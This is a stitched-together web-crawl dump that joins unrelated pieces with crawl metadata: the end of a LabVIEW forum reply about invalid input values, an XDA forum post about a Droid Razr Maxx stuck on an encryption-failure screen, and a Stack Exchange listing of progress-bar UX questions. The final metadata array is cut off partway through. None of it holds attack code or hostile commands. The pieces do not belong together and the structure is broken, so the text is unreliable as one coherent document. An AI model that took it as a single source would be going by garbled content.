I guess you'd better check what's going into the configure source VI and see if all the input values are valid. Common causes could be an empty string that causes the command to be concatenated in a "strange" way.
Bill
CLD
(Mid-Level minion.)
My support system ensures that I don't look totally incompetent.
Proud to say that I've progressed beyond knowing just enough to be dangerous. I now know enough to know that I have no clue about anything at all.
Humble author of the CLAD Nugget.
0 Kudos
Message 8 of 8
(933 Views) | {
"url": "https://forums.ni.com/t5/LabVIEW/113-undefined-header-0-no-error/td-p/4183574",
"source_domain": "forums.ni.com",
"snapshot_id": "crawl=CC-MAIN-2022-49",
"warc_metadata": {
"Content-Length": "405867",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:7HDKROHSV45R4DTF72KOSPQOTJQEBHOF",
"WARC-Concurrent-To": "<urn:uuid:dc5163db-eecf-484b-a252-60de7af35faf>",
"WARC-Date": "2022-12-04T19:47:15Z",
"WARC-IP-Address": "104.16.35.15",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:CD4KSWT3AA5KRMWRDQBQQNW44TNJRIXL",
"WARC-Record-ID": "<urn:uuid:5c16b2a7-3386-4efe-874a-cad09d4e58d6>",
"WARC-Target-URI": "https://forums.ni.com/t5/LabVIEW/113-undefined-header-0-no-error/td-p/4183574",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:7c4d92d5-75d4-4951-9312-23fc555b9661>"
},
"warc_info": "isPartOf: CC-MAIN-2022-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-73\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
8,
9,
16,
37,
57,
72,
73,
106,
107,
116,
117,
278,
279,
281,
282,
315,
316,
363,
383,
407,
421,
422,
424,
425,
453,
495,
542,
543,
545,
546,
785,
786,
788,
789,
822,
823,
825,
826,
835,
836,
842,
843,
851,
866,
880,
881,
1303,
1304,
1305,
1314,
1390,
1428,
1559,
1567,
1582,
1596,
1597,
1695,
1696,
1704,
1719,
1733,
1734,
1744,
1745,
1747,
1748,
1808,
1809,
1811,
1812,
1921,
1922,
2027,
2028,
2130,
2131,
2133,
2134,
2186,
2187,
2286,
2287,
2353,
2354,
2368,
2374,
2375,
2376,
2416,
2429,
2437,
2452,
2466,
2467,
2589,
2590,
2592,
2593,
2608,
2609,
2615,
2616,
2624,
2639,
2651,
2652,
2662,
2663,
2665,
2666,
2667,
2682,
2683,
2736,
2737,
2738,
2842,
2843,
2962,
2963,
2965,
2966,
3044,
3045,
3059,
3065,
3066,
3067,
3107,
3115,
3130,
3142,
3143,
3160,
3161,
3279,
3280,
3327,
3347,
3371,
3385,
3386,
3388,
3389,
3417,
3459,
3506,
3507,
3509,
3510,
3512,
3513,
3556,
3557,
3559,
3560,
3568,
3569,
3575,
3576,
3584,
3599,
3611,
3612,
3827,
3828,
3833,
3837,
3857,
3922,
4069,
4103,
4111,
4126
],
"line_end_idx": [
8,
9,
16,
37,
57,
72,
73,
106,
107,
116,
117,
278,
279,
281,
282,
315,
316,
363,
383,
407,
421,
422,
424,
425,
453,
495,
542,
543,
545,
546,
785,
786,
788,
789,
822,
823,
825,
826,
835,
836,
842,
843,
851,
866,
880,
881,
1303,
1304,
1305,
1314,
1390,
1428,
1559,
1567,
1582,
1596,
1597,
1695,
1696,
1704,
1719,
1733,
1734,
1744,
1745,
1747,
1748,
1808,
1809,
1811,
1812,
1921,
1922,
2027,
2028,
2130,
2131,
2133,
2134,
2186,
2187,
2286,
2287,
2353,
2354,
2368,
2374,
2375,
2376,
2416,
2429,
2437,
2452,
2466,
2467,
2589,
2590,
2592,
2593,
2608,
2609,
2615,
2616,
2624,
2639,
2651,
2652,
2662,
2663,
2665,
2666,
2667,
2682,
2683,
2736,
2737,
2738,
2842,
2843,
2962,
2963,
2965,
2966,
3044,
3045,
3059,
3065,
3066,
3067,
3107,
3115,
3130,
3142,
3143,
3160,
3161,
3279,
3280,
3327,
3347,
3371,
3385,
3386,
3388,
3389,
3417,
3459,
3506,
3507,
3509,
3510,
3512,
3513,
3556,
3557,
3559,
3560,
3568,
3569,
3575,
3576,
3584,
3599,
3611,
3612,
3827,
3828,
3833,
3837,
3857,
3922,
4069,
4103,
4111,
4126,
4137
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4137,
"ccnet_original_nlines": 175,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.35545557737350464,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04161980003118515,
"rps_doc_frac_lines_end_with_ellipsis": 0.011363640427589417,
"rps_doc_frac_no_alph_words": 0.24746906757354736,
"rps_doc_frac_unique_words": 0.48275861144065857,
"rps_doc_mean_word_length": 4.760119915008545,
"rps_doc_num_sentences": 45,
"rps_doc_symbol_to_word_ratio": 0.0022497200407087803,
"rps_doc_unigram_entropy": 5.331192493438721,
"rps_doc_word_count": 667,
"rps_doc_frac_chars_dupe_10grams": 0.1348031461238861,
"rps_doc_frac_chars_dupe_5grams": 0.18015748262405396,
"rps_doc_frac_chars_dupe_6grams": 0.16503937542438507,
"rps_doc_frac_chars_dupe_7grams": 0.16503937542438507,
"rps_doc_frac_chars_dupe_8grams": 0.1348031461238861,
"rps_doc_frac_chars_dupe_9grams": 0.1348031461238861,
"rps_doc_frac_chars_top_2gram": 0.015118109993636608,
"rps_doc_frac_chars_top_3gram": 0.032755911350250244,
"rps_doc_frac_chars_top_4gram": 0.017007870599627495,
"rps_doc_books_importance": -370.4088134765625,
"rps_doc_books_importance_length_correction": -370.4088134765625,
"rps_doc_openwebtext_importance": -236.28440856933594,
"rps_doc_openwebtext_importance_length_correction": -236.28440856933594,
"rps_doc_wikipedia_importance": -240.78143310546875,
"rps_doc_wikipedia_importance_length_correction": -240.78143310546875
},
"fasttext": {
"dclm": 0.09336643666028976,
"english": 0.8681713938713074,
"fineweb_edu_approx": 1.158724069595337,
"eai_general_math": 0.06794440746307373,
"eai_open_web_math": 0.31395918130874634,
"eai_web_code": 0.005877790041267872
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
3,640,084,561,842,633,700 | Default [Q] I cant use my phone not bricked but can't reset it.
Hey so i was messing around with my phone the other morning and decided to encrypt my phone but it failed and messed up my system i got this message. The picture is down below.
So I press reset phone and it factory wipes it. But it really doesn't, the phone then reboots and the same message comes up again. I cant access anything on the phone there is no lock screen or status bar. Nothing.
So decide to boot into AP Fastboot mode and then into the stock recovery. My phone lets me do this. I do this with the intention of manually factory wiping my phone. I wipe the cache and factory wipe the phone. It says it does it successfully so I reboot but I still get the that same message!
Okay whatever at this point its starting to look like ill just do a SBF. Haha but that would be to easy RSD lite does not recognize my phone the Droid Razr Maxx while it is in USB Mass Storage Mode. But usually keep my phone in mass storage mode for convenient file transfering to my computer.
Normally if I had to SBF I would connect my phone to my computer drag down my notification bar and change it out of mass storage mode to MTP media device mode or to PTP Camera mode. But I cant because the only thing that shows up after the phone boots is that same message.
What can I do? Can i use ADB to change my phone out of mass storage mode and into MTP mode?
Thanks and sorry for all the words but I figured I should be detailed.
Attached Thumbnails
Click image for larger version
Name: photo.JPG
Views: 5221
Size: 252.5 KB
ID: 2507714 | {
"url": "http://forum.xda-developers.com/showthread.php?p=49320118&mode=threaded",
"source_domain": "forum.xda-developers.com",
"snapshot_id": "crawl=CC-MAIN-2014-35",
"warc_metadata": {
"Content-Length": "217307",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:RKDKTCA3ZM5SR2JHWWKJWMGXUJT2ZH3W",
"WARC-Concurrent-To": "<urn:uuid:04ce74dc-3a2c-4bd3-a276-ff02d7376007>",
"WARC-Date": "2014-08-27T09:36:00Z",
"WARC-IP-Address": "207.244.72.9",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:EBVIILEIW3DNF5WYEA2BTE2BBQDDR7WB",
"WARC-Record-ID": "<urn:uuid:4782a63a-cb09-482a-8365-c10a12c3edf9>",
"WARC-Target-URI": "http://forum.xda-developers.com/showthread.php?p=49320118&mode=threaded",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:84280d92-a7ee-44b2-8a74-01cd8ff5285c>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-180-136-8.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-35\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for August 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
64,
65,
242,
243,
458,
459,
753,
754,
1048,
1049,
1323,
1324,
1416,
1417,
1488,
1508,
1539,
1540,
1556,
1568,
1583
],
"line_end_idx": [
64,
65,
242,
243,
458,
459,
753,
754,
1048,
1049,
1323,
1324,
1416,
1417,
1488,
1508,
1539,
1540,
1556,
1568,
1583,
1596
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1596,
"ccnet_original_nlines": 21,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.45507246255874634,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.07536231726408005,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.10144928097724915,
"rps_doc_frac_unique_words": 0.5129032135009766,
"rps_doc_mean_word_length": 4.019354820251465,
"rps_doc_num_sentences": 23,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.618125915527344,
"rps_doc_word_count": 310,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.03210273012518883,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.050561800599098206,
"rps_doc_frac_chars_top_3gram": 0.048154089599847794,
"rps_doc_frac_chars_top_4gram": 0.025682179257273674,
"rps_doc_books_importance": -148.5795135498047,
"rps_doc_books_importance_length_correction": -135.01870727539062,
"rps_doc_openwebtext_importance": -87.22257995605469,
"rps_doc_openwebtext_importance_length_correction": -87.22257995605469,
"rps_doc_wikipedia_importance": -52.39243698120117,
"rps_doc_wikipedia_importance_length_correction": -38.675453186035156
},
"fasttext": {
"dclm": 0.13893461227416992,
"english": 0.9432398080825806,
"fineweb_edu_approx": 1.025420069694519,
"eai_general_math": 0.22692346572875977,
"eai_open_web_math": 0.2629234790802002,
"eai_web_code": 0.17889505624771118
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.456",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-5,497,250,248,602,900,000 | Stack Exchange Network
Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.
Visit Stack Exchange
Questions tagged [progress-bar]
An interface element that indicates the progress of process by filling a percentage of a shape (usually a rectangle or a bar) with a color. The percent of the bar that is filled reflects the progress (If the action is 25% complete, the progress bar will be 25% full).
1
vote
0answers
64 views
Website progress tracker [duplicate]
I’m working on an application that has multiple tasks that need to be completed in sequence (e.g. think placing your order with amazon). We have a progress bar at the top of the web page which shows ...
2
votes
2answers
120 views
Distorting data on progress bars?
I am currently doing some research on how data is sometimes distorted during visualization on progress bars (showing 70% instead of 50% etc). The research is focused on expanding the thesis of Chris ...
2
votes
1answer
55 views
Nomenclature for all parts of a progressbar
I'm looking to get a name for all off the different parts of a progressbar. e.g. Loading [ =====> ] 1/20 (5%) done I want to know what name can be given to the following parts: "Loading" ...
2
votes
3answers
222 views
Is there a name for this type of progress bar at the top of screens?
Lots of applications and sites (particularly SPAs or sites with lots of data to load such as YouTube) have a progress bar that is displayed at the very top of the screen. Does this have a special ...
2
votes
1answer
44 views
Sequential representation of a parallel process? (skyscanner search progress) [closed]
When I search for flights on Skyscanner, it first shows a "Searching" screen with a spinner, then shows some results along with a progress bar and indicators stating "Searched 28/30 providers" and "...
-1
votes
1answer
38 views
Examples and suggested principles of designing dissipating usage tracking experiences?
I was wondering if anyone could assist, I'm not sure what the correct terminology for this is, and therefore struggling to find any research on it. I'm designing an experience where users have a ...
2
votes
5answers
472 views
How to implement busy spinner with button
What should happen when a user clicks on a button that triggers an action that takes a short amount of time to complete, showing a busy spinner to indicate processing? [click]↖ => [click] ↖⚙ - ...
1
vote
1answer
54 views
How to display progress from one stop to the next stop on a continuous scale?
Which is more intuitive? Option #1 (top picture): Progress bar starts at 1,500 (previous privilege) and ends at 2,000 (next privilege) Option #2 (bottom picture): Progress bar starts at 1 (the ...
0
votes
0answers
37 views
Pros and Cons of using Progress Bars on lengthy online applications?
I'm considering adding a progress bar to a 7-page online application form. 50% of users choose "Provide later" for uploading documents. This pushes most of their work to page 7. My options: • Don't ...
2
votes
1answer
78 views
What are the best UX practices to show that an autocomplete data for an input field in a form is loading?
I'm a developer working on a form, which fills an autocomplete input field with available choices. What would be the a good UX take to show that those suggestions are loading? I'm thinking on ...
3
votes
1answer
155 views
Is showing temporary result immediately better ux than showing a loading indicator until a result is available?
Use case: There is a toggle button a user can click on it. After the user clicked on it, it should show a result, success or failure. It takes some process time to calculate the result. Unless error ...
25
votes
3answers
7k views
Progress - When should I go from 100% to 0%, or vice versa?
I have a web app I'm building for my business which essentially tracks an employee's progress doing a pick in a warehouse. The interface has a progress bar that's colored in, and it's full, and as ...
2
votes
1answer
86 views
Do loading bars freeze on purpose?
Many applications implement some sort of progress bar or spinning circle to indicate loading of significant size. In Windows 10 updates and some games, I've noticed that these loading elements ...
2
votes
3answers
418 views
iOS button morph to loading
In Android, the native button in material style has a "loading" state. This loading state can also be "disabled" state. It looks like this: HD Screencast - https://gfycat.com/...
1
vote
1answer
140 views
Data Visualization: Visualizing current year annual performance by juxtaposing last year total and year to date numbers
Working on a revenue piece where I have to show current YTD ( Year to date ) performance with last year’s YTD and the total revenue last year for a specific product. The below image shows the ...
2
votes
1answer
113 views
Fractions (“X out of Y complete”) in RTL Languages
We are working on RTL support in an application. One of the elements in our app is a progress bar that shows the number of slides of a deck that the users has completed, as well as a graphical ...
2
votes
3answers
140 views
How to represent small data on a progress bar?
Say I have a file scan and after it has complete we want to display the files infected vs non. How could I go about representing this without the data seeming so minuscule within large file quantities?...
3
votes
2answers
755 views
Skeleton screens with determinate progress?
I'd like to use skeleton screens to indicate when a page is loading. Usually, this is great—it makes the experience seem faster while still functioning as a progress indicator. The thing is, skeleton ...
4
votes
2answers
336 views
Progress bars to indicate user count & competition end date for mobile
This is my scenario. I have a promotion that ends at a particular time. Only if the number of entries reaches a particular threshold will the promotion take place. So to users I have to show ...
2
votes
4answers
207 views
what if there will be 7 steps to completed form (progress tracker)
I have come across many article, and i found this interesting. it said the best practice for completed process to fill form is 3-5 steps. My problem is i have 7-8 steps to completed form and want to ...
3
votes
2answers
489 views
Where to put a floating progress bar in a multi-step form
I am doing an interactive form that shows the progress related between filled and not filled inputs. As a result, I have a progress bar that shows how many steps did I filled and how many are missing. ...
0
votes
3answers
508 views
Progress Tracker with 2 levels
I'm currently designing a step-by-step wizard, where the interface tells the user which section of the wizard he/she is visiting, using Progress Trackers, like the image below. The user can navigate ...
46
votes
7answers
11k views
When do users understand that a wizard navigation bar is clickable?
In my web application, I use a wizard navigation bar like the one in the image: While getting feedback from a fellow designer, he asked me if the progress bar is clickable. In my mind, most wizard ...
5
votes
4answers
189 views
Updating progress bar when identifying extra work
I have a slim, single progress bar in my simple search engine. The 100% of the progress bar is all the sources in which the search engine can search in. Sometimes, more sources can be discovered ...
15
votes
7answers
656 views
The rationale of progress indicators for online articles
The display of a non-interactive progress bar that reflects the amount of content that the user has read/scrolled through seems to be reflecting the trend that users want distinct visual indicators as ...
1
vote
0answers
67 views
How should I visualise 2 different estimated waiting times?
I am working on a feature for a screen which shows our clients a list of legal certificates they have ordered with us, but they are produced by external authorities. Our turnaround time is much faster ...
1
vote
1answer
74 views
Representation of progress, stated and delayed days of an activity
I'm trying to express the progress, the state and delayed days of an activity with this representation. My representation is a progress bar with a number next to it and below there is an icon that ...
0
votes
1answer
81 views
Why gmail upload progress bar goes fast at the very end? [closed]
If I am upload 20 MB File on gmail, on progress bar it will take some time to upload & at very last seconds, the progress bar goes fast. Why so?
1
vote
1answer
254 views
Matching events on timelines of different scales for a video scrub bar
Objective To show a video timeline scrub with associated events, visually correlated to the time at which the events occur. It's my belief that this will allow the user to, with minimal effort, ...
6
votes
5answers
282 views
How do I display a minimum requirement in a way that encourages the user to exceed it?
I'm designing a budget planning tool for sales reps. The reps must spread their budget across 5 different categories of spend, three of which have a minimum spend allocation. The organization would ...
169
votes
8answers
20k views
At what point does a user lose trust in a Busy Spinner?
The first scenario is an action that could take roughly 2–5 seconds to execute once the user has pressed a button. A Busy Spinner will be displayed in the button until the process has been ...
2
votes
3answers
736 views
Progress bar in a multi-page form in an app
We have an app wherein we need to ask a number of data from the user. We have split this into multiple pages and we put a progress bar on top. However, because of the screen estate, we can only ...
3
votes
1answer
371 views
Can I use the breadcrumb for the payment process like the progress bar design?
I wonder that whether the breadcrumb model can match to the steps of payment process like progress bar model. My design in the development process, I have delivered my files to developer who's doing ...
14
votes
1answer
884 views
What do the three bars in old installers mean?
Quite many old setups look kind of like this: I always wondered what the three bars in the bottom left-hand corner mean. I really have no clue.
9
votes
4answers
2k views
Is it a good idea to show progress indicator inside a button?
Typical examples: http://msurguy.github.io/ladda-bootstrap Crazier examples: http://tympanus.net/Development/ProgressButtonStyles This is for a desktop app if it matters. Consider that the target ...
3
votes
2answers
680 views
Showing progress for a determinate task that changes unexpectedly
The standard pattern for the use of progress bars/status is usually divided into two different types: Determinate progress where the amount of time/tasks is known, and the user interface reflects/...
3
votes
2answers
956 views
Visualize a percentile rank by filling a shape
I am making a visual to show a user what percentile ranking they are at. I want to use some fill concept to encourage the user to want to fill the object, and thus increase their ranking. Currently, ...
0
votes
1answer
58 views
How to indicate proportion of tasks in each of several sequential stages?
I have many (thousands) of tasks, each currently in one of 5 sequential stages. (So every task goes through the exact same sequence, but concurrently, so that some are at a different stage from others)...
6
votes
4answers
195 views
How to distinguish between progress and consumption visually?
I am working on a product that shows how much time the user has consumed . To represent this visually I have used a reversed progress bar but it still feels like a progress bar , increasing. Are ...
3
votes
3answers
129 views
How to communicate that new content has been loaded without a loader
We have just released a new version of our app and the feedback I have got is: Issue with the app loading too fast when user is takin an action Problem: The app is reloading so fast when users ...
0
votes
1answer
88 views
Documented reasons for preferring horizontal or vertical wrapping of checkbox items?
Given a simple (non-tabular) long list of small items, have studies shown a strong reason to prefer vertical vs. horizontal flow/wrapping of those items when displayed in a single 'field'? I'm ...
4
votes
4answers
193 views
Progress Indicator for Slow Progress Process
I am designing a quick reference status indicator for a customer facing application. We would like to allow our users to check their status with our help desk, though that process only has three ...
2
votes
1answer
77 views
Best message to display when migrating data?
The use case is this: users who downloaded a new version of an app will need to go through a data migration process after log in (which may last up to 1 minute) during which user data from an old ...
3
votes
2answers
171 views
Complex wizard - when to tell user they are obliterating progress
I'm designing for an app that helps companies generate complex legal documents. We generally use a wizard with progress noted at the top. The progress can branch quite dramatically. We're faced with ...
8
votes
2answers
1k views
Progress bar for credit card credit
I'm designing a graphical widget to show credit card credit but I'm not sure that the bar moves in the right direction. Currently, as the customer spends their credit, the bar moves from right to ...
34
votes
5answers
3k views
At what point should an application change the cursor to an hourglass or display a progress bar?
Our WPF desktop application will be executing various tasks. In general, the average length of time for each task will range from basically instant to a few seconds or longer (possibly minutes). We ...
17
votes
8answers
2k views
Making a Streak Visualization More Intuitive
I'm currently working on a website for tracking habit change. On the report page, I have goal cards users interact with in order to record their progress: The donut chart in this example is trying to ...
5
votes
1answer
742 views
Progress bar with mixture of determinate and indeterminate steps
I'm building a progress bar which needs to show additional information on a complex automated process. You have a number of distinct steps in the process (5-12 expected but not necessarily). Some of ...
19
votes
5answers
4k views
How to display zero percent of progress?
I want users of my application to perform 5 exercises a day. I'd like to have a GUI element which shows their current progress, which can be 0,1,2,3,4 or 5. I thought about using something like a ...
37
votes
14answers
6k views
Slow down job for better progress animation
So, I am in a situation where I am developing an internal application that executes a list of many task items, some of which have multiple steps. For each task item, I also have a progress bar. Well, ... | {
"url": "https://ux.stackexchange.com/questions/tagged/progress-bar",
"source_domain": "ux.stackexchange.com",
"snapshot_id": "crawl=CC-MAIN-2019-04",
"warc_metadata": {
"Content-Length": "218669",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:IJH3EUO7DTI254HCCCVMOW2XEEAEW6GT",
"WARC-Concurrent-To": "<urn:uuid:63986bab-808e-4987-942c-c87c81f4ed2d>",
"WARC-Date": "2019-01-19T00:54:06Z",
"WARC-IP-Address": "151.101.129.69",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:2BCVNXS3WRT3K4UYPLXG2ZYCATXEPNIE",
"WARC-Record-ID": "<urn:uuid:0998e023-de23-4fd2-bf70-514050d9b1f2>",
"WARC-Target-URI": "https://ux.stackexchange.com/questions/tagged/progress-bar",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:1df779c9-bde7-4402-b42b-9ca28974d156>"
},
"warc_info": "isPartOf: CC-MAIN-2019-04\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-154-0-44.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
23,
24,
221,
222,
243,
244,
276,
277,
545,
546,
548,
553,
562,
571,
572,
609,
610,
813,
815,
821,
830,
840,
841,
875,
876,
1079,
1081,
1087,
1095,
1104,
1105,
1149,
1150,
1341,
1343,
1349,
1358,
1368,
1369,
1438,
1439,
1639,
1641,
1647,
1655,
1664,
1665,
1752,
1753,
1955,
1958,
1964,
1972,
1981,
1982,
2069,
2070,
2269,
2271,
2277,
2286,
2296,
2297,
2339,
2340,
2537,
2539,
2544,
2552,
2561,
2562,
2640,
2641,
2838,
2840,
2846,
2855,
2864,
2865,
2934,
2935,
3137,
3139,
3145,
3153,
3162,
3163,
3269,
3270,
3466,
3468,
3474,
3482,
3492,
3493,
3605,
3606,
3809,
3812,
3818,
3827,
3836,
3837,
3897,
3898,
4099,
4101,
4107,
4115,
4124,
4125,
4160,
4161,
4358,
4360,
4366,
4375,
4385,
4386,
4414,
4415,
4594,
4596,
4601,
4609,
4619,
4620,
4740,
4741,
4937,
4939,
4945,
4953,
4963,
4964,
5015,
5016,
5213,
5215,
5221,
5230,
5240,
5241,
5288,
5289,
5494,
5496,
5502,
5511,
5521,
5522,
5566,
5567,
5771,
5773,
5779,
5788,
5798,
5799,
5870,
5871,
6066,
6068,
6074,
6083,
6093,
6094,
6161,
6162,
6365,
6367,
6373,
6382,
6392,
6393,
6451,
6452,
6657,
6659,
6665,
6674,
6684,
6685,
6716,
6717,
6920,
6923,
6929,
6938,
6948,
6949,
7017,
7018,
7219,
7221,
7227,
7236,
7246,
7247,
7297,
7298,
7497,
7500,
7506,
7515,
7525,
7526,
7583,
7584,
7789,
7791,
7796,
7805,
7814,
7815,
7875,
7876,
8081,
8083,
8088,
8096,
8105,
8106,
8173,
8174,
8375,
8377,
8383,
8391,
8400,
8401,
8467,
8468,
8613,
8615,
8620,
8628,
8638,
8639,
8710,
8711,
8909,
8911,
8917,
8926,
8936,
8937,
9024,
9025,
9227,
9231,
9237,
9246,
9256,
9257,
9313,
9314,
9507,
9509,
9515,
9524,
9534,
9535,
9579,
9580,
9778,
9780,
9786,
9794,
9804,
9805,
9884,
9885,
10088,
10091,
10097,
10105,
10115,
10116,
10163,
10164,
10308,
10310,
10316,
10325,
10334,
10335,
10397,
10398,
10598,
10600,
10606,
10615,
10625,
10626,
10692,
10693,
10893,
10895,
10901,
10910,
10920,
10921,
10968,
10969,
11172,
11174,
11180,
11188,
11197,
11198,
11272,
11273,
11478,
11480,
11486,
11495,
11505,
11506,
11568,
11569,
11768,
11770,
11776,
11785,
11795,
11796,
11865,
11866,
12063,
12065,
12071,
12079,
12088,
12089,
12174,
12175,
12372,
12374,
12380,
12389,
12399,
12400,
12445,
12446,
12645,
12647,
12653,
12661,
12670,
12671,
12716,
12717,
12917,
12919,
12925,
12934,
12944,
12945,
13011,
13012,
13215,
13217,
13223,
13232,
13241,
13242,
13278,
13279,
13479,
13482,
13488,
13497,
13506,
13507,
13604,
13605,
13807,
13810,
13816,
13825,
13834,
13835,
13880,
13881,
14085,
14087,
14093,
14101,
14111,
14112,
14177,
14178,
14381,
14384,
14390,
14399,
14408,
14409,
14450,
14451,
14651,
14654,
14660,
14670,
14679,
14680,
14724,
14725
],
"line_end_idx": [
23,
24,
221,
222,
243,
244,
276,
277,
545,
546,
548,
553,
562,
571,
572,
609,
610,
813,
815,
821,
830,
840,
841,
875,
876,
1079,
1081,
1087,
1095,
1104,
1105,
1149,
1150,
1341,
1343,
1349,
1358,
1368,
1369,
1438,
1439,
1639,
1641,
1647,
1655,
1664,
1665,
1752,
1753,
1955,
1958,
1964,
1972,
1981,
1982,
2069,
2070,
2269,
2271,
2277,
2286,
2296,
2297,
2339,
2340,
2537,
2539,
2544,
2552,
2561,
2562,
2640,
2641,
2838,
2840,
2846,
2855,
2864,
2865,
2934,
2935,
3137,
3139,
3145,
3153,
3162,
3163,
3269,
3270,
3466,
3468,
3474,
3482,
3492,
3493,
3605,
3606,
3809,
3812,
3818,
3827,
3836,
3837,
3897,
3898,
4099,
4101,
4107,
4115,
4124,
4125,
4160,
4161,
4358,
4360,
4366,
4375,
4385,
4386,
4414,
4415,
4594,
4596,
4601,
4609,
4619,
4620,
4740,
4741,
4937,
4939,
